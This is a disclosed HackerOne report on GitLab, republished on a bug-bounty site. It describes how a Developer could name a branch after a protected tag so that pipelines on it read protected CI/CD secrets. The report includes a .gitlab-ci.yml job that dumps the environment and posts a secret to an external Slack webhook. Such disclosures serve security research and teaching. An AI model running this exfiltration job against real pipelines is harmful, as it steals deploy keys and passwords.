Skip to content
Access control Disclosed report Intermediate

Privilege Escalation - Project members can access any protected environment variable without authorization

A user with the Developer role could create a branch with the same name as a protected tag, causing pipelines on that branch to run with the privileges of a protected tag and expose protected environment variables. This allowed the attacker to read sensitive data such as database passwords and private keys.

GitLab

Originally disclosed on GitLab

  • Fixed in 3 months
  • Disclosed after 3 months

HackerOne report #1186135 by rodrigopetter on 2021-05-06, assigned to @dcouture:

Report | How To Reproduce

Report

Summary

Any user (including External Users) that can create branches is able to access protected environment variables (database passwords, private keys, etc.) through pipeline execution, if there is any protected tag created.

Steps to reproduce
  1. Create a new repository with the following configs
    1. Protect all tags (*) Allowed to create: Maintainers
    2. Create some protected environment variables (Settings> CI / CD> Variables):
      1. PROJECT_DEPLOY_SERVER_PRIVATE_KEY
      2. PROTECTED_PROJECT_VARIABLE
  2. Create a new tag named "v1.0.0"
  3. Give access to the project to a new member with the "Developer" role
  4. The "Developer" accont can't access any environment variables neither create protected tags or push/merge in to protected branches
  5. But the "Developer" account can create a new branch with the same name as any protected tag
  6. Any pipeline executed for changes in this new branch will be executed as if it was a protected tag
  7. The developer can change the file .gitlab-ci.yml at will, scanning any protected environment variable and sending them externally to bypass any masks
YAML
job:  
  script:  
    - printenv  
    - curl -k -X POST -H 'Content-type: application / json' --data "{\" text \ ": \" $ PROTECTED_PROJECT_VARIABLE \ "}" https://hooks.slack.com/services/XXXXXXXXXXX  
What is the current bug behavior?

The Developer can access information outside his permission, as stated in Project members permissions table. He can see Project Level CI/CD variables that are restricted to "Managers" and also can see group level CI/CD variables that are restricted to "Owners".

Here is an example pipeline: https://gitlab.com/rpd_test_private_group/test_private_project/-/jobs/1241128584

There is a related issue about the bug that creates this vulnerability: https://gitlab.com/gitlab-org/gitlab/-/issues/219583

What is the expected correct behavior?

Pipelines executed for branches should not have the same privileges as a protected tag despite having the same name.

Output of checks

This bug happens on GitLab.com

Impact

Project members can have access to sensitive information without authorization.

It's common for teams to have production configurations stored as environment variables, including deploy information like private ssh keys.
The confidentiality of this information is lost and an attacker can have full controll of a production environment.

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the system checks only the name of the ref (branch or tag) to determine if it is protected, without verifying the ref type, so a branch with the same name as a protected tag is treated as protected.

Impact

A Developer could access protected environment variables (including project-level variables restricted to Maintainers and group-level variables restricted to Owners), potentially leading to full control of a production environment.

What the attacker needed

A GitLab account with Developer role; a protected tag exists; protected environment variables are set

How it was found

  1. Create a new repository and protect all tags, allowing only Maintainers to create them.
  2. Create protected environment variables such as a private key and a protected project variable.
  3. Create a new tag named v1.0.0.
  4. Add a new member with the Developer role.
  5. As the Developer, create a new branch with the same name as the protected tag.
  6. Modify the .gitlab-ci.yml file to print environment variables and send them to an external service, then run a pipeline on that branch.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In GitLab, protected tags are meant to restrict who can run pipelines that access secret variables. A developer could create a branch with the same name as a protected tag, and GitLab mistakenly treated that branch as if it were the protected tag, so the pipeline could read the secrets. This let a low-privileged user steal sensitive information like passwords and keys.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.